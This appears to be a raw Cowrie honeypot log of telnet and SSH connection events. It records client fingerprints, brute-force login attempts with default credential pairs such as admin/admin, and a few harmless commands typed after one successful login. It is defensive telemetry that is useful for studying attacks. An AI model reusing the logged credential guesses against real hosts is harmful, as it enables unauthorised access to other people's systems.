{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41846,"dst_ip":"10.17.0.5","dst_port":23,"session":"420fd10935ac","protocol":"telnet","message":"New connection: 45.58.127.90:41846 (10.17.0.5:23) [session: 420fd10935ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:47.830351Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.136.57.165","src_port":52674,"dst_ip":"10.17.0.5","dst_port":23,"session":"53130d4b2105","protocol":"telnet","message":"New connection: 175.136.57.165:52674 (10.17.0.5:23) [session: 53130d4b2105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:48.631202Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45080,"dst_ip":"10.17.0.5","dst_port":23,"session":"7093c7f46610","protocol":"telnet","message":"New connection: 45.58.127.90:45080 (10.17.0.5:23) [session: 7093c7f46610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:54.553945Z"}
{"eventid":"cowrie.session.closed","duration":40.554041385650635,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:56.127246Z","src_ip":"45.58.127.90","session":"ff87f460c32a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.989513874053955,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:56.525091Z","src_ip":"147.182.143.59","session":"30af7a6ecb41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46622,"dst_ip":"159.203.135.109","dst_port":23,"session":"c88c84ca1462","protocol":"telnet","message":"New connection: 147.182.143.59:46622 (159.203.135.109:23) [session: c88c84ca1462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:08:59.108120Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46628,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d101697320b","protocol":"telnet","message":"New connection: 147.182.143.59:46628 (159.203.135.109:23) [session: 1d101697320b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:00.343596Z"}
{"eventid":"cowrie.session.closed","duration":12.730930089950562,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:01.362051Z","src_ip":"175.136.57.165","session":"53130d4b2105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.215844631195068,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:10.556454Z","src_ip":"147.182.143.59","session":"1d101697320b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58578,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c95b7e474be","protocol":"telnet","message":"New connection: 147.182.143.59:58578 (159.203.135.109:23) [session: 8c95b7e474be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:11.283790Z"}
{"eventid":"cowrie.session.closed","duration":13.047116756439209,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:12.155141Z","src_ip":"147.182.143.59","session":"c88c84ca1462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58584,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d8ca18246c","protocol":"telnet","message":"New connection: 147.182.143.59:58584 (159.203.135.109:23) [session: 52d8ca18246c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:12.625011Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54176,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef816c859986","protocol":"telnet","message":"New connection: 147.182.143.59:54176 (159.203.135.109:23) [session: ef816c859986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:17.979846Z"}
{"eventid":"cowrie.session.closed","duration":10.622279644012451,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:21.905942Z","src_ip":"147.182.143.59","session":"8c95b7e474be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.98514771461487,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:22.815375Z","src_ip":"45.58.127.90","session":"420fd10935ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.866840600967407,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:26.491726Z","src_ip":"147.182.143.59","session":"52d8ca18246c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.279851198196411,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:28.259587Z","src_ip":"147.182.143.59","session":"ef816c859986","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.32085633277893,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:31.874543Z","src_ip":"45.58.127.90","session":"7093c7f46610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":39540,"dst_ip":"10.17.0.5","dst_port":22,"session":"75fe92ae2c7e","protocol":"ssh","message":"New connection: 79.104.0.82:39540 (10.17.0.5:22) [session: 75fe92ae2c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:32.060521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:32.065679Z","src_ip":"79.104.0.82","session":"75fe92ae2c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50048,"dst_ip":"159.203.135.109","dst_port":23,"session":"a94121a9e4b2","protocol":"telnet","message":"New connection: 147.182.143.59:50048 (159.203.135.109:23) [session: a94121a9e4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:32.169070Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:32.213462Z","src_ip":"79.104.0.82","session":"75fe92ae2c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!!admin123","message":"login attempt [root/!!admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:32.833110Z","src_ip":"79.104.0.82","session":"75fe92ae2c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:33.983778Z","src_ip":"79.104.0.82","session":"75fe92ae2c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:34.064530Z","src_ip":"47.239.15.75","session":"f0678aad6d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00704336166382,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:39.533953Z","src_ip":"179.119.25.114","session":"5f32261be83a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":51576,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad1ae697593c","protocol":"telnet","message":"New connection: 179.119.25.114:51576 (159.203.135.109:23) [session: ad1ae697593c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:39.883104Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42760,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f5c116fee62","protocol":"telnet","message":"New connection: 45.58.127.90:42760 (10.17.0.5:23) [session: 7f5c116fee62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:40.212004Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42764,"dst_ip":"10.17.0.5","dst_port":23,"session":"664aac69fadf","protocol":"telnet","message":"New connection: 45.58.127.90:42764 (10.17.0.5:23) [session: 664aac69fadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:41.531601Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":51623,"dst_ip":"159.203.135.109","dst_port":23,"session":"832e1f6a60c3","protocol":"telnet","message":"New connection: 179.119.25.114:51623 (159.203.135.109:23) [session: 832e1f6a60c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:41.714445Z"}
{"eventid":"cowrie.session.closed","duration":11.862849950790405,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:44.031735Z","src_ip":"147.182.143.59","session":"a94121a9e4b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42768,"dst_ip":"10.17.0.5","dst_port":23,"session":"76b47f704eb6","protocol":"telnet","message":"New connection: 45.58.127.90:42768 (10.17.0.5:23) [session: 76b47f704eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:47.414638Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55896,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fddd485e84b","protocol":"telnet","message":"New connection: 45.58.127.90:55896 (10.17.0.5:23) [session: 5fddd485e84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:09:56.831939Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58630,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd5eee821aa9","protocol":"telnet","message":"New connection: 45.58.127.90:58630 (10.17.0.5:23) [session: cd5eee821aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:04.091063Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36590,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00092112cd1","protocol":"telnet","message":"New connection: 45.58.127.90:36590 (10.17.0.5:23) [session: c00092112cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:10.396017Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":7991,"dst_ip":"10.17.0.5","dst_port":22,"session":"28e41dd16c28","protocol":"ssh","message":"New connection: 185.71.233.73:7991 (10.17.0.5:22) [session: 28e41dd16c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:12.185312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:12.190937Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:12.396985Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:13.049300Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:13.567135Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:13.779332Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36594,"dst_ip":"10.17.0.5","dst_port":23,"session":"632827db07e0","protocol":"telnet","message":"New connection: 45.58.127.90:36594 (10.17.0.5:23) [session: 632827db07e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:16.791326Z"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:20.470115Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:20.474253Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:20.478141Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:20.482150Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.075016260147095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:20.489522Z","src_ip":"45.58.127.90","session":"76b47f704eb6","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:21.137520Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.63902235031128,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:22.850932Z","src_ip":"45.58.127.90","session":"7f5c116fee62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.62515735626221,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:23.156674Z","src_ip":"45.58.127.90","session":"664aac69fadf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":55520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c37a665daced","protocol":"ssh","message":"New connection: 79.104.0.82:55520 (10.17.0.5:22) [session: c37a665daced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:25.330622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:25.336288Z","src_ip":"79.104.0.82","session":"c37a665daced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:25.491168Z","src_ip":"79.104.0.82","session":"c37a665daced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"testftp","message":"login attempt [ftptest/testftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:26.135260Z","src_ip":"79.104.0.82","session":"c37a665daced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:27.295316Z","src_ip":"79.104.0.82","session":"c37a665daced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:31.269717Z","src_ip":"47.239.15.75","session":"f0678aad6d9e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:37.147729Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:37.528629Z","src_ip":"47.239.15.75","session":"a52c0a6c5e8c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:38.138068Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:38.146524Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56514,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d8eecf95c3e","protocol":"telnet","message":"New connection: 147.182.143.59:56514 (159.203.135.109:23) [session: 1d8eecf95c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:39.764280Z"}
{"eventid":"cowrie.session.closed","duration":44.0287389755249,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:40.860552Z","src_ip":"45.58.127.90","session":"5fddd485e84b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.30589938163757,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:42.396820Z","src_ip":"45.58.127.90","session":"cd5eee821aa9","protocol":"telnet"}
